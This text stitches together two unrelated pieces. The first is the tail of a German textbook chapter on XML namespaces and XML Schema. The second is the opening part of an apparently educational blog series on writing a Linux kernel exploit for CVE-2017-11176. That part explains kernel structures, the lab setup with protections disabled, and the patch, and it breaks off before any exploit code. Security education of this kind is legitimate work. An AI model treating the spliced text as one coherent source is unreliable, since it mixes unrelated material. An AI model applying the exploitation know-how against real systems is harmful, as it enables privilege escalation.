>       </buch>
>     '>
>  
[/code]

Beachten Sie im obigen Beispiel die einfachen Anführungszeichen, in denen der
Code für das Buch steht  sie ermöglichen, dass Sie die doppelten
Anführungszeichen der enthaltenen Attributwerte einfach stehen lassen können.

**_Externe Entity-Definitionen_**

Längere Entities müssen Sie nicht innerhalb der DTD selbst definieren, sondern
können sie in eine externe XML-Datei schreiben. Auf diese Datei wird dann in
der Entity-Deklaration mit Hilfe einer SYSTEM-ID verwiesen:

>
[code]

>     <!ENTITY buch2 SYSTEM "buch2.xml">
>  
[/code]

Damit die Entity-Referenz &buch2; aufgelöst werden kann, muss im Verzeichnis,
in dem sich die DTD befindet, eine formal korrekte XML-Datei namens buch2.xml
vorliegen.

  

<img src='img/Temp2_3406.gif' alt='Galileo Computing' />

### 15.2.2 Namensräume <img src='img/Temp2_3402.gif' width='15' height='15'
alt='down' /><img src='img/Temp2_3412.gif' width='15' height='15' alt='top' />

Eine besondere Eigenschaft von XML-Dokumenten besteht darin, dass Sie mehrere
Dokumenttypen miteinander vermischen können. Zu diesem Zweck wurden die
Namensräume \(englisch »Name Spaces«\) eingeführt, die die Unterscheidung von
Elementen aus verschiedenen DTDs zulassen.

Der Standard-Namensraum eines Dokuments zeichnet sich dadurch aus, dass Sie
seine Elemente ohne spezielles Präfix verwenden können. Werden weitere
Namensräume eingebunden, dann wird deren Elementen ein Namensraum-Präfix
vorangestellt, das durch einen Doppelpunkt vom eigentlichen Elementnamen
getrennt wird.

**_Namensräume mischen_**

Angenommen, Sie fügen in die XML-Bücher-Datei aus Listing 15.1 ein neues
Element namens beschreibung ein, das eine kurze Beschreibung des Buchinhalts
im HTML-Format enthält. Zu diesem Zweck können Sie den verwendeten HTML-Tags
das Namensraum-Präfix html voranstellen, um sie von den Elementen des
Standard-Namensraums zu unterscheiden. Hier ein kurzes Beispiel:

>
[code]

>       <buch isbn="3898421376">
>         <autor>
>           <name>Vonhoegen</name>
>           <vorname>Helmut</vorname>
>         </autor>
>         <titel>Einstieg in XML</titel>
>         <cover datei="einstieg_xml.gif" type="image/gif" />
>         <beschreibung>
>            <html:p>Dieses Buch f&uuml;hrt Sie in die
>            Grundlagen der <html:b>Auszeichnungssprache
>            XML</html:b> des <html:i>W3C</html:i> ein.
>            </html:p>
>         </beschreibung>
>         <auflage>1</auflage>
>         <ort>Bonn</ort>
>         <jahr>2002</jahr>
>         <verlag>Galileo Computing</verlag>
>       </buch>
>  
[/code]

Die in der obigen Beschreibung verwendeten HTML-Auszeichnungen definieren
einen Absatz, Fett- und Kursivschrift. Sie werden im nächsten Kapitel, HTML
und XHTML, genauer erläutert.

**_Namensräume einbinden_**

Namensräume werden mit Hilfe von xmlns-Angaben innerhalb eines Elements in das
Dokument eingebunden. In der Regel stehen sie im Wurzelelement. Der Standard-
Namensraum wird einfach als xmlns bezeichnet, während zusätzliche Namensräume
mit xmlns:namensraum angegeben werden. Das folgende Beispiel bindet das xml-
buecher-Format als Standard-Namensraum und das HTML-Format als Erweiterung
ein:

>
[code]

>     <xml-buecher xmlns="http://buecher.lingoworld.de/it_kompendium/
>     samples/19/xml-buecher" xmlns:html="http://www.w3.org/1999/xhtml">
>  
[/code]

Unter den angegebenen URLs muss sich kein spezielles Dokument befinden, das
den Namensraum definiert  allerdings ist es üblich, dort eine kurze
Beschreibung des Namensraums im HTML-Format abzulegen. Wichtig ist nur, dass
verschiedene Namensraum-Angaben auch unterschiedliche URLs verwenden.

  

<img src='img/Temp2_3406.gif' alt='Galileo Computing' />

### 15.2.3 XML Schema <img src='img/Temp2_3405.gif' width='15' height='15'
alt='top' /><img src='img/Temp2_3412.gif' width='15' height='15' alt='top' />

XML Schema bietet eine alternative Möglichkeit, Standards für XML-Dokumente
einzurichten. Gegenüber DTDs besitzt dieses Format vor allem zwei Vorteile:

<img src='img/Temp2_3414.gif' width='8' height='9' alt='gp' /> | Die geforderten Inhalte von Tags und Attributen können wesentlich genauer angegeben werden.   
---|---  
<img src='img/Temp2_3414.gif' width='8' height='9' alt='gp' /> | Das Format ist selbst XML-basiert, verwendet also keine separate Syntax wie DTDs, sondern besteht aus wohlgeformten XML-Dokumenten.   
---|---  
Eine Schema-Definition steht in einer Datei mit der Endung .xsd. Die meisten
aktuellen XML-Parser unterstützen ein Schema als Alternative zu einer DTD für
die Validation von Dokumenten.

Listing 15.3 zeigt ein einfaches Schema für Adresslisten-Dokumente auf der
Basis des weiter oben definierten Adress-Beispiels.

**Listing 15.3** Ein XML-Schema für Adressdaten

[code]

    <?xml version="1.0"?>
    <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema">
      <xs:element name="adressliste">
        <xs:complexType>
          <xs:element name="person" minOccurs="1" 
          maxOccurs="unbounded">
            <xs:complexType>
              <xs:sequence>
                <xs:element name="anrede" 
                type="xs:string" />
                <xs:element name="titel" type="xs:string" 
                minOccurs="0" />
                <xs:element name="vorname" type="xs:string"
                maxOccurs="unbounded" />
                <xs:element name="name" type="xs:string" />
                <xs:element name="anschrift">
                  <xs:complexType>
                    <xs:choice>
                      <xs:element name="strasse" 
                      type="xs:string" />
                      <xs:element name="plz" 
                      type="xs:string" />
                    </xs:choice>
                  </xs:complexType>
                </xs:element>
              </xs:sequence>
            </xs:complexType>
          </xs:element>
        </xs:complexType>
      </xs:element>
    </xs:schema>
    
[/code]

Grundsätzlich wird jedes Element mit Hilfe einer <xs:element>-Deklaration
angegeben. Elemente, die nur einfachen Inhalt und keine verschachtelten
Elemente oder Attribute besitzen, benötigen im Schema das Attribut type, das
den zulässigen Typ des Inhalts angibt. Einige zulässige Typen sind "xs:string"
für beliebigen Text, "xs:integer" für ganze Zahlen oder "xs:language" für eine
ISO-Sprachangabe wie en \(Englisch\) oder de \(Deutsch\). Diese und andere
Inhaltstypen können sowohl für Elemente als auch für Attribute verwendet
werden.

**_Verschachtelte Elemente_**

Elemente, die verschachtelte Elemente, gemischten Inhalt oder Attribute
enthalten dürfen, benötigen zur Angabe dieser Komponenten einen
<xs:complexType>-Block. Für verschachtelte Elemente steht innerhalb dieses
Blocks entweder ein einzelnes Element, eine durch einen
<xs:sequence>-Abschnitt umschlossene Liste aufeinander folgender Elemente oder
eine durch <xs:choice> umhüllte Aufzählung von Alternativen.

Attribute  die in Listing 15.3 nicht vorkommen  werden übrigens
folgendermaßen deklariert:

>
[code]

>     <xs:attribute name="isbn" type="xs:integer" />
>  
[/code]

Angenommen, Sie möchten ein Element buchtitel deklarieren, dessen Inhalt
einfacher Text ist und das ein Attribut namens isbn enthält. Da Elemente mit
Attributen immer einen <xs:complexType>-Block benötigen, in dem ihr Inhalt
definiert wird, können Sie nicht mehr einfach type="xs:string" schreiben.
Stattdessen sieht die Definition nun so aus:

>
[code]

>     <xs:element name="buchtitel">
>       <xs:complexType>
>         <xs:simpleContent>
>           <xs:extension base="xs:string">
>             <xs:attribute name="isbn" type="xs:string" />
>           </xs:extension>
>         </xs:simpleContent>
>       </xs:complexType>
>     </xs:element>
>  
[/code]

Der <xs:simpleContent>-Block gibt an, dass das Element trotz des
<xs:complexType> nur einfachen Inhalt und keine verschachtelten Tags enthält.
<xs:extension> gibt den Inhaltstyp des Elements selbst an \(hier
"xs:string"\), während die hineinverschachtelten <xs:attribute>-Elemente die
Attribute und ihre Datentypen definieren.

Interessant ist schließlich noch die Möglichkeit, über minOccurs und maxOccurs
die minimale und die maximale Anzahl von Elementen eines Typs anzugeben. Beide
haben den Standardwert 1; ein Element ohne weitere Angaben muss genau einmal
vorkommen. Ein spezieller Wert für maxOccurs ist "unbounded". Das
entsprechende Element darf unbegrenzt oft vorkommen.

**_Schemas einbinden_**

Das folgende kurze Beispiel genügt dem Schema aus Listing 15.3 und zeigt
außerdem, wie Sie die Verwendung des Schemas im XML-Dokument angeben1  :

>
[code]

>     <?xml version="1.0"?>
>     <adressliste xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
>     xsi:noNamespaceSchemaLocation="adressen.xsd">
>       <person>
>         <anrede>Herr</anrede>
>         <titel>Doktor</titel>
>         <vorname>Dieter</vorname>
>         <name>Heinze</name>
>         <anschrift>
>           <strasse>Alte Straße 34</strasse>
>         </anschrift>
>       </person>
>       <person>
>         <anrede>Frau</anrede>
>         <vorname>Maria</vorname>
>         <vorname>Theresia</vorname>
>         <name>Huber</name>
>         <anschrift>
>           <postfach>1234567</postfach>
>         </anschrift>
>       </person>
>     </adressliste>
>  
[/code]

Über dieses kurze Beispiel hinaus ist XML Schema eine sehr umfangreiche
Sprache, die sehr detaillierte Definitionen für Dokumentformate ermöglicht.
Der kleine Einblick in diesem Unterabschnitt hat hoffentlich gezeigt, dass die
Möglichkeiten von Schema weit über DTDs hinausgehen.

  
  
  
  

* * *  
|  << zurück| <top>| vor >>  
---|---|---  
| | |  Zum Katalog  
---  
<img src='img/Temp2_3418.gif' width='1' height='1' />| | <img src='img/Temp2_3400.gif' width='98' height='90' alt='Zum Katalog: Handbuch für Fachinformatiker' />  
**Handbuch für Fachinformatiker**  
<img src='img/Temp2_3399.gif' /> bestellen  
---  
<img src='img/Temp2_3418.gif' width='1' height='2' />  
|  Ihre Meinung?  
---  
<img src='img/Temp2_3418.gif' width='1' height='1' />| | Wie hat Ihnen das <openbook> gefallen?  
<img src='img/Temp2_3399.gif' />Ihre Meinung  
  
  
---  
<img src='img/Temp2_3418.gif' width='1' height='2' />  
|  Buchtipps  
---  
<img src='img/Temp2_3418.gif' width='1' height='1' />| <img
src='img/Temp2_3398.gif' width='51' height='72' />  
**Einstieg in PHP 5**  
<img src='img/Temp2_3418.gif' width='1' height='1' />| <img
src='img/Temp2_3416.gif' width='51' height='72' />  
**Einstieg in Java**  
<img src='img/Temp2_3418.gif' width='1' height='1' />| <img
src='img/Temp2_3413.gif' width='51' height='72' />  
**C von A bis Z**  
<img src='img/Temp2_3418.gif' width='1' height='1' />| <img
src='img/Temp2_3403.gif' width='51' height='72' />  
**Einstieg in C++**  
<img src='img/Temp2_3418.gif' width='1' height='1' />| <img
src='img/Temp2_3401.gif' width='51' height='72' />  
**Einstieg in Linux**  
<img src='img/Temp2_3418.gif' width='1' height='2' />  
|  Shopping  
---  
<img src='img/Temp2_3418.gif' width='1' height='1' />| | **Versandkostenfrei** bestellen in Deutschland und Österreich  
<img src='img/Temp2_3399.gif' />Info  
  
  
---  
<img src='img/Temp2_3418.gif' width='1' height='2' />  
<img src='img/Temp2_3418.gif' width='1' height='2' />  
|  Empfehlung  
---  
<img src='img/Temp2_3418.gif' width='1' height='1' />| <img
src='img/Temp2_3411.gif' width='51' height='72' />  
**Einstieg in XML**  
<img src='img/Temp2_3418.gif' width='1' height='1' />| <img
src='img/Temp2_3407.gif' width='51' height='72' />  
**Apache 2**  
<img src='img/Temp2_3418.gif' width='1' height='2' />  
  

* * *
  

**Copyright © Galileo Press GmbH 2004**  
Für Ihren privaten Gebrauch dürfen Sie die Online-Version natürlich
ausdrucken. Ansonsten unterliegt das <openbook> denselben Bestimmungen, wie
die gebundene Ausgabe: Das Werk einschließlich aller seiner Teile ist
urheberrechtlich geschützt. Alle Rechte vorbehalten einschließlich der
Vervielfältigung, Übersetzung, Mikroverfilmung sowie Einspeicherung und
Verarbeitung in elektronischen Systemen.

  
\[Galileo Computing\]  
  
Galileo Press GmbH, Gartenstraße 24, 53229 Bonn, Tel.: 0228.42150.0, Fax
0228.42150.77, info@galileo-press.de

  

  

# Lexfo's security blog - CVE-2017-11176: A step-by-step Linux Kernel
exploitation \(part 1/4\)

**Created:**| _10/3/2018 10:00:16 PM_  
---|---  
**Updated:**| _10/3/2018 10:00:16 PM_  
**Author:**| __  
**Tags:**| __  
  

# Introduction

This series covers a step-by-step walkthrough to develop a Linux kernel
exploit from a CVE description. It starts with the patch analysis to
understand the bug and trigger it from kernel land \(part 1\), then it
gradually builds a working proof-of-concept code \(part 2\). The PoC is then
turned into an arbitrary call primitive \(part 3\) which is finally used to
execute arbitrary code in ring-0 \(part 4\).

The targeted audience is the Linux kernel newcomers \(nothing too fancy for
the veterans\). Since most kernel exploit articles imply that the reader is
already familiar with the kernel code, we will try to fill the gap by exposing
core data structure and important code paths. In the end, **every single line
of the exploit should be understood, as well as their impact on the kernel**.

While it is impossible to cover everything in a single article, we will try to
_unroll_ every kernel path needed to develop the exploit. Think of it as a
guided Linux kernel tour supported by a practical example. Exploit writing is
actually a good way to understand the Linux kernel. In addition, we will show
some debugging techniques, tools, common pitfalls and how to fix them.

The CVE developed here is CVE-2017-11176, aka "mq\_notify: double
sock\_put\(\)". Most distributions patched it during the mid 2017. At the time
of writing, there is no known public exploit.

The kernel code exposed here matches a specific version \(v2.6.32.x\),
nevertheless the bug also affects kernels up to 4.11.9. One might think that
this version is too old, yet it is still actually used in a lot of places and
some paths might be easier to understand. It shouldn't be too hard to find the
equivalent paths on a more recent kernel.

The exploit built here is not targetless. Hence, some modifications are
required to run it on another target \(structure offsets/layout, gadgets,
function addresses...\). Do not try to run the exploit _as is_ , this **will**
just crash your system\! You can find the final exploit here.

It is recommended grabbing the source code of a vulnerable kernel and try to
follow the code on the go \(or even better, implement the exploit\). Fire up
your favorite code crawling tool and let's start\!

**Warning** : Please do not get scared by the size of this series, there are
tons of code. Anyway, if you really want to get into kernel hacking, you must
be ready to read a lot of codes and documentation. Just take your time.

**Note** : _we do not deserve any credit for this CVE discovery, it is
basically a 1-day implementation._

* * *
# Table of Contents

  * Recommended Reading
  * Lab Setup
  * Core Concepts
  * Public Information
  * Understanding the Bug
  * Reaching the Retry Logic
  * Forcing the Trigger
  * Conclusion

* * *
# Recommended Reading

This article only covers a small subset of the whole kernel. We recommend you
to read those books \(they are great\!\):

  * Understanding the Linux Kernel \(D. P. Bovet, M. Cesati\)
  * Understanding Linux Network Internals \(C. Benvenuti\)
  * A guide to Kernel Exploitation: Attacking the Core \(E. Perla, M. Oldani\)
  * Linux Device Drivers \(J. Corbet, A. Rubini, G. Kroah-Hartman\)

* * *
# Lab Setup

The code exposed here comes from a specific target \(2.6.32.x\). However, you
can try to implement the exploit on the following target. There might be
slight variations in the code that shouldn't be blocking.

Debian 8.6.0 \(amd64\) ISO

The previous ISO runs a **3.16.0** kernel. We only confirmed that the bug is
reachable and makes the kernel crash. Most of the changes will appear during
the last stages of exploitation \(cf. part 3 and 4\).

While the bug is \(mostly\) exploitable in various
configurations/architecture, the only requirements needed to exploit it the
same way we do are:

  * Kernel version **must** be lower than 4.11.9 \(we recommend < 4.x\)
  * It **must** run on "amd64" \(x86-64\) architecture
  * You have root access for debugging purpose
  * The kernel uses the SLAB allocator \(_grep "CONFIG\_SLAB" /boot/config-$\(uname -r\)_ , it **must** be =y\).
  * SMEP is enabled \(grep for 'smep' in _/proc/cpuinfo_\)
  * kASLR and SMAP are disabled
  * Any number of CPU. One is enough, you will understand why soon enough.

The "default" configuration on the previous ISO satisfies all of those
requirements.

**WARNING** : To ease debugging, you must run the target with a virtualization
software. However, **we strongly discourage using _virtualbox_** as it didn't
support SMEP \(not sure if it does right now\). You can use the free version
of _vmware_ for instance or any other virtualization tool as long as it
supports SMEP \(we will bypass it\).

Once the system has been installed and ready, the next step is to grab the
kernel source code. As mentioned here just run the following command:

[code]

    sudo apt install build-essential linux-source bc kmod cpio flex cpio libncurses5-dev
    
[/code]

The kernel source code should be located at: _/usr/src/linux-
source-3.16.tar.xz_. From here, you can use any code crawling tool. It is
**required** that you can cross-reference symbols efficiently. Linux has
multiple billions lines of code, you will get lost without it.

A lot of kernel developers seems to use **cscope**. You can generate the
cross-references by doing like this or just:

[code]

    cscope -kqRubv
    
[/code]

Note the _-k_ modifier which excludes your system library headers as the
kernel runs in freestanding. The cscope database generation takes about 5
minutes or so, then use an editor which has a plugin for it \(e.g. vim,
emacs\).

Since the target kernel **will crash a lot** , you must analyse the kernel
code and develop the exploit from your host system. The target must only be
used to compile and run the exploit \(through ssh\!\). Furthermore, you need a
way to "resetup" things fast after a crash. To that mean, have a look to
rsshfs and write Makefiles.

Hopefully, you are now ready to develop your first kernel exploit.

GL&HF\! :-\)

* * *
# Core Concepts

In order not to get lost at the very first line of the CVE analysis, it is
necessary to introduce some core concepts of the Linux kernel. Please note
that most structures exposed here are incomplete in order to keep it simple.

## Process descriptor \(task\_struct\) and the current macro

One of the most important structures in the kernel is the **struct
task\_struct** , yet not the simplest one.

Every task has a _task\_struct_ object living in memory. A userland _process_
is composed of at least one task. In a multi-threaded application, there is
one _task\_struct_ for every thread. Kernel threads also have their own
task\_struct \(e.g. kworker, migration\).

The task\_struct holds crucial information like:

[code]

    // [include/linux/sched.h]
    
    struct task_struct {
        volatile long state;            // process state (running, stopped, ...)
        void *stack;                    // task's stack pointer
        int prio;                       // process priority
        struct mm_struct *mm;           // memory address space
        struct files_struct *files;     // open file information
        const struct cred *cred;        // credentials
      // ...
    };
    
[/code]

Accessing the current running task is such a common operation that a macro
exists to get a pointer on it: **current**.

## File Descriptor, File Object and File Descriptor Table

Everybody knows that "_everything is a file_ ", but what does it actually
mean?

In the Linux kernel, there are basically seven kinds of files: regular,
directory, link, character device, block device, fifo and socket. Each of them
can be represented by a **file descriptor**. A file descriptor is basically an
integer that is only meaningful for a given process. For each file descriptor,
there is an associated structure: **struct file**.

A struct _file_ \(or file object\) represents a file that has been opened. It
does not necessarily match any image on the disk. For instance, think about
accessing files in a _pseudo-file systems_ like **/proc**. While reading a
file, the system may need to keep track of the cursor. This is the kind of
information stored in a struct file. Pointers to struct file are often named
_filp_ \(for file pointer\).

The most important fields of a struct file are:

[code]

    // [include/linux/fs.h]
    
    struct file {
        loff_t                            f_pos;            // "cursor" while reading file
        atomic_long_t                     f_count;          // object's reference counter
        const struct file_operations      *f_op;            // virtual function table (VFT) pointer
      void                              *private_data;      // used by file "specialization"
      // ...
    };
    
[/code]

The mapping which translates a file descriptor into a struct file pointer is
called the **file descriptor table \(fdt\)**. Note that this is not a 1:1
mapping, there could be several file descriptors pointing to the same file
object. In that case, the pointed file object has its reference counter
increased by one \(cf. Reference Counters\). The FDT is stored in a structure
called: **struct fdtable**. This is really just an array of struct file
pointers that can be indexed with a file descriptor.

[code]

    // [include/linux/fdtable.h]
    
    struct fdtable {
        unsigned int max_fds;
        struct file ** fd;      /* current fd array */
      // ...
    };
    
[/code]

What links a file descriptor table to a process is the **struct
files\_struct**. The reason why the fdtable is not directly embedded into a
_task\_struct_ is that it has other information \(e.g. close on exec bitmask,
...\). A struct _files\_struct_ can also be shared between several threads
\(i.e. _task\_struct_\) and there is some optimization tricks as well.

[code]

    // [include/linux/fdtable.h]
    
    struct files_struct {
        atomic_t count;           // reference counter
        struct fdtable *fdt;      // pointer to the file descriptor table
      // ...
    };
    
[/code]

A pointer to a _files\_struct_ is stored in the _task\_struct_ \(field
_files_\).

## Virtual Function Table \(VFT\)

While being mostly implemented in C, Linux remains an _object-oriented_
kernel.

One way to achieve some _genericity_ is to use a **virtual function table
\(vft\)**. A virtual function table is a structure which is mostly composed of
function pointers.

The mostly known VFT is **struct file\_operations** :

[code]

    // [include/linux/fs.h]
    
    struct file_operations {
        ssize_t (*read) (struct file *, char __user *, size_t, loff_t *);
        ssize_t (*write) (struct file *, const char __user *, size_t, loff_t *);
        int (*open) (struct inode *, struct file *);
        int (*release) (struct inode *, struct file *);
      // ...
    };
    
[/code]

Since _everything is a file_ but not of the same type, they all have different
**file operations** , often called **f\_ops**. Doing so allows the kernel code
to handle file independently of their type and code factorization. It leads to
such kind of code:

[code]

            if (file->f_op->read)
                ret = file->f_op->read(file, buf, count, pos);
    
[/code]

## Socket, Sock and SKB

A **struct socket** lives at the top-layer of the network stack. From a file
perspective, this is the first level of specialization. During socket creation
\(_socket\(\)_ syscall\), a new struct file is created and its file operation
\(field _f\_op_\) is set to **socket\_file\_ops**.

Since every file is represented with a file descriptor, you can use any
syscall that takes a file descriptor as argument \(e.g. _read\(\), write\(\),
close\(\)_\) with a socket file descriptor. This is actually the main benefit
of "_everything is a file_ " motto. Independently of the socket's type, the
kernel will invoke the generic socket file operation:

[code]

    // [net/socket.c]
    
    static const struct file_operations socket_file_ops = {
        .read = sock_aio_read,      // <---- calls sock->ops->recvmsg()
        .write =    sock_aio_write, // <---- calls sock->ops->sendmsg()
        .llseek =   no_llseek,      // <---- returns an error
      // ...
    }
    
[/code]

Since _struct socket_ actually implements the _BSD socket API_ \(connect\(\),
bind\(\), accept\(\), listen\(\), ...\), they embedded a special _virtual
function table \(vft\)_ of type **struct proto\_ops**. Every type of socket
\(e.g. AF\_INET, AF\_NETLINK\) implements its own _proto\_ops_.

[code]

    // [include/linux/net.h]
    
    struct proto_ops {
        int     (*bind)    (struct socket *sock, struct sockaddr *myaddr, int sockaddr_len);
        int     (*connect) (struct socket *sock, struct sockaddr *vaddr,  int sockaddr_len, int flags);
        int     (*accept)  (struct socket *sock, struct socket *newsock, int flags);
      // ...
    }
    
[/code]

When a BSD-style syscall is invoked \(e.g. bind\(\)\), the kernel generally
follows that scheme:

  1. Retrieves a _struct file_ from the file descriptor table
  2. Retrieves a _struct socket_ from the _struct file_
  3. Invokes the specialized _proto\_ops_ callbacks \(e.g. _sock- >ops->bind\(\)_\)

Because some protocol operations \(e.g. sending/receiving data\) might
actually need to go into the lower layer of the network stack, the _struct
socket_ has a pointer to a **struct sock** object. This pointer is generally
used by the socket protocol operations \(_proto\_ops_\). In the end, a _struct
socket_ is a kind of glue between a _struct file_ and a _struct sock_.

[code]

    // [include/linux/net.h]
    
    struct socket {
        struct file     *file;
        struct sock     *sk;
        const struct proto_ops  *ops;
      // ...
    };
    
[/code]

The _struct sock_ is a complex data structure. One might see it as a middle-
ish thing between the lower layer \(network card driver\) and higher level
\(socket\). Its main purpose is the ability to hold the receive/send buffers
in a _generic_ way.

When a packet is received over the network card, the driver "enqueued" the
network packet into the sock receive buffer. It will stay there until a
program decides to receive it \(_recvmsg\(\)_ syscall\). The other way around,
when a program wants to send data \(_sendmsg\(\)_ syscall\), a network packet
is "enqueued" onto the sock sending buffer. Once notified, the network card
will then "dequeue" that packet and send it.

Those "network packets" are the so-called **struct sk\_buff** \(or skb\). The
receive/send buffers are basically a doubly-linked list of skb:

[code]

    // [include/linux/sock.h]
    
    struct sock {
        int         sk_rcvbuf;    // theorical "max" size of the receive buffer
        int         sk_sndbuf;    // theorical "max" size of the send buffer
        atomic_t        sk_rmem_alloc;  // "current" size of the receive buffer
        atomic_t        sk_wmem_alloc;  // "current" size of the send buffer
        struct sk_buff_head sk_receive_queue;   // head of doubly-linked list
        struct sk_buff_head sk_write_queue;     // head of doubly-linked list
        struct socket       *sk_socket;
      // ...
    }
    
[/code]

As we can see, a _struct sock_ references a _struct socket_ \(field
_sk\_socket_\), while a _struct socket_ references a _struct sock_ \(field
_sk_\). In the very same way, a _struct socket_ references a _struct file_
\(field _file_\) while a _struct file_ references a _struct socket_ \(field
_private\_data_\). This "2-way mechanism" allows data to go up-and-down
through the network stack.

**NOTE** : Do not get confused\! The _struct sock_ objects are often called
_sk_ , while _struct socket_ objects are often called _sock_.

## Netlink Socket

Netlink socket is a type of socket \(i.e. family\) just like UNIX or INET
sockets.

Netlink socket \(AF\_NETLINK\) allows communication between kernel and user
space. It can be used to modify the routing table \(NETLINK\_ROUTE protocol\),
to receive SELinux event notifications \(NETLINK\_SELINUX\) and even
communicate to other userland process \(NETLINK\_USERSOCK\).

Since _struct sock_ and _struct socket_ are _generic_ data structure
supporting all kinds of sockets, it is necessary to somehow "specialize them"
at some point.

From the socket perspective, the _proto\_ops_ field needs to be defined. For
the netlink family \(AF\_NETLINK\), the BSD-style socket operations are
**netlink\_ops** :

[code]

    // [net/netlink/af_netlink.c]
    
    static const struct proto_ops netlink_ops = {
        .bind =     netlink_bind,
        .accept =   sock_no_accept,     // <--- calling accept() on netlink sockets leads to EOPNOTSUPP error
        .sendmsg =  netlink_sendmsg,
        .recvmsg =  netlink_recvmsg,
      // ...
    }
    
[/code]

It gets a little bit more complicated, from the sock perspective. One might
see a _struct sock_ as an abstract class. Hence, a sock needs to be
specialized. In the netlink case, this is made with **struct netlink\_sock** :

[code]

    // [include/net/netlink_sock.h]
    
    struct netlink_sock {
        /* struct sock has to be the first member of netlink_sock */
        struct sock     sk;
        u32         pid;
        u32         dst_pid;
        u32         dst_group;
      // ...
    };
    
[/code]

In other words, a _netlink\_sock_ is a "sock" with some additional attributes
\(i.e. inheritance\).

The top-level comment is of utter importance. It allows the kernel to
manipulate a generic _struct sock_ without knowing its precise type. It also
brings another benefit, the _& netlink\_sock.sk_ and _& netlink\_sock_
addresses **aliases**. Consequently, freeing the pointer _& netlink\_sock.sk_
actually frees the whole _netlink\_sock_ object. From a language theory
perspective, this is how the kernel does _type polymorphism_ whilst the C
language does not have any feature for it. The _netlink\_sock_ life cycle
logic can then be kept in a generic, well tested, code.

## Putting it all together

Now that core data structures have been introduced, it is time to put them all
in a diagram to visualize their relationships:

<img src='img/Temp2_4897.png' width='866' height='597' />

**READING** : Each arrow represents a pointer. No line "crosses" each other.
The "sock" structure is _embedded_ inside the "netlink\_sock" structure.

## Reference counters

In order to conclude this introduction of the kernel core concepts, it is
necessary to understand how the Linux kernel handles **reference counters**.

To reduce memory leaks in the kernel and to prevent _use-after-free_ , most
Linux data structures embed a "ref counter". The refcounter itself is
represented with an **atomic\_t** type which is basically an integer. The
refcounter is only manipulated through atomic operations like:

  * **atomic\_inc\(\)**
  * **atomic\_add\(\)**
  * **atomic\_dec\_and\_test\(\)** // substract 1 and test if it is equals zero

Because there is no "smart pointer" \(or operator overload stuff\), the
reference counter handling is done _manually_ by the developers. It means that
when an object becomes referenced by another object, its refcounter must be
_explicitly_ increased. When this reference is dropped, the refcounter must be
_explicitly_ decreased. The object is generally freed when its refcounter
reaches zero.

**NOTE** : increasing the refcounter is often called "taking a reference",
while decreasing the refcounter is called "dropping/releasing a reference".

However, if at any time, there is an imbalance \(e.g. taking one reference and
dropping two\), there is a risk of memory corruption:

  * refcounter decreased twice: _use-after-free_
  * refcounter increased twice: memory leak or _int-overflow_ on the refcounter leading to _use-after-free_

The Linux Kernel has several facilities to handle refcounters \(_kref,
kobject_\) with a common interface. However, it is not systematically used and
the objects we will manipulate here have their own reference counter helpers.
In general, taking a reference is mostly made of **"\*\_get\(\)"** like
functions, while dropping reference are **"\*\_put\(\)"** like functions.

In our case, each object has different helpers names:

  * **struct sock** : sock\_hold\(\), sock\_put\(\)
  * **struct file** : fget\(\), fput\(\)
  * **struct files\_struct** : get\_files\_struct\(\), put\_files\_struct\(\)
  * ...

**WARNING** : it can get even more confusing\! For instance, **skb\_put\(\)**
actually does not decrease any refcounter, it "pushes" data into the sk
buffer\! Do not assume anything about what a function does based on its name,
check it.

Now that every data structure required to understand the bug has been
introduced, let's move on and analyze the CVE.

* * *
# Public Information

Before digging into the bug, let's describe the main purpose of the
**mq\_notify\(\)** syscall. As stated by the man, "mq\_\*" stands for "POSIX
message queues" and comes as a replacement for legacy System V message queues:

[code]

    POSIX message queues allow processes to exchange data in the form of messages.
    This API is distinct from that provided by System V message  queues (msgget(2),
    msgsnd(2), msgrcv(2), etc.), but provides similar functionality.
    
[/code]

The _mq\_notify\(\)_ syscall itself is used to register/unregister for
asynchronous notifications.

[code]

    mq_notify() allows the calling process to register or unregister for delivery of an
    asynchronous notification when a new message arrives on the empty message queue
    referred to by the descriptor mqdes.
    
[/code]

When studying a CVE, it is always good to start with the description and the
patch that corrects it.

_The**mq\_notify** function in the Linux kernel through 4.11.9 does not set
**the sock pointer** to NULL upon entry into the **retry logic**. During a
user-space close of a **Netlink socket** , it allows attackers to cause a
denial of service \(**use-after-free**\) or possibly have unspecified other
impact \(ring-0 take over?\)._

The patch is available here:

[code]

    diff --git a/ipc/mqueue.c b/ipc/mqueue.c
    index c9ff943..eb1391b 100644
    --- a/ipc/mqueue.c
    +++ b/ipc/mqueue.c
    @@ -1270,8 +1270,10 @@ retry:
    
          timeo = MAX_SCHEDULE_TIMEOUT;
          ret = netlink_attachskb(sock, nc, &timeo, NULL);
    -     if (ret == 1)
    +     if (ret == 1) {
    +       sock = NULL;
            goto retry;
    +     }
          if (ret) {
            sock = NULL;
            nc = NULL;
    
[/code]

That is a _one line patch_\! Easy enough...

Finally, the patch description provides a lot of helpful information to
understand the bug:

[code]

    mqueue: fix a use-after-free in sys_mq_notify()
    The retry logic for netlink_attachskb() inside sys_mq_notify()
    is nasty and vulnerable:
    
    1) The sock refcnt is already released when retry is needed
    2) The fd is controllable by user-space because we already
       release the file refcnt
    
    so we then retry but the fd has been just closed by user-space
    during this small window, we end up calling netlink_detachskb()
    on the error path which releases the sock again, later when
    the user-space closes this socket a use-after-free could be
    triggered.
    
    Setting 'sock' to NULL here should be sufficient to fix it
    
[/code]

There is only **a single mistake** in the patch description: _during this
small window_. Albeit the bug as a "racy" aspect, we will see that the window
can actually be extended indefinitely in a deterministic way \(cf. part 2\).

* * *
# Understanding the Bug

The patch description above gives a lot of useful information:

  * The vulnerable code lies in the syscall **mq\_notify**
  * There is something wrong with the **retry logic**
  * There is something wrong with the **sock variable refcounting** , leading to a use-after-free
  * There is something related to a **race condition** with a _closed fd_

## The vulnerable code

Let's dig into the _mq\_notify\(\)_ syscall implementation, especially the
**retry logic** part \(i.e. _retry_ label\), as well as, the **exit path**
\(i.e. _out_ label\):

[code]

          // from [ipc/mqueue.c]
    
          SYSCALL_DEFINE2(mq_notify, mqd_t, mqdes,
              const struct sigevent __user *, u_notification)
          {
            int ret;
            struct file *filp;
            struct sock *sock;
            struct sigevent notification;
            struct sk_buff *nc;
    
            // ... cut (copy userland data to kernel + skb allocation) ...
    
            sock = NULL;
        retry:
    [0]       filp = fget(notification.sigev_signo);
              if (!filp) {
                ret = -EBADF;
    [1]         goto out;
              }
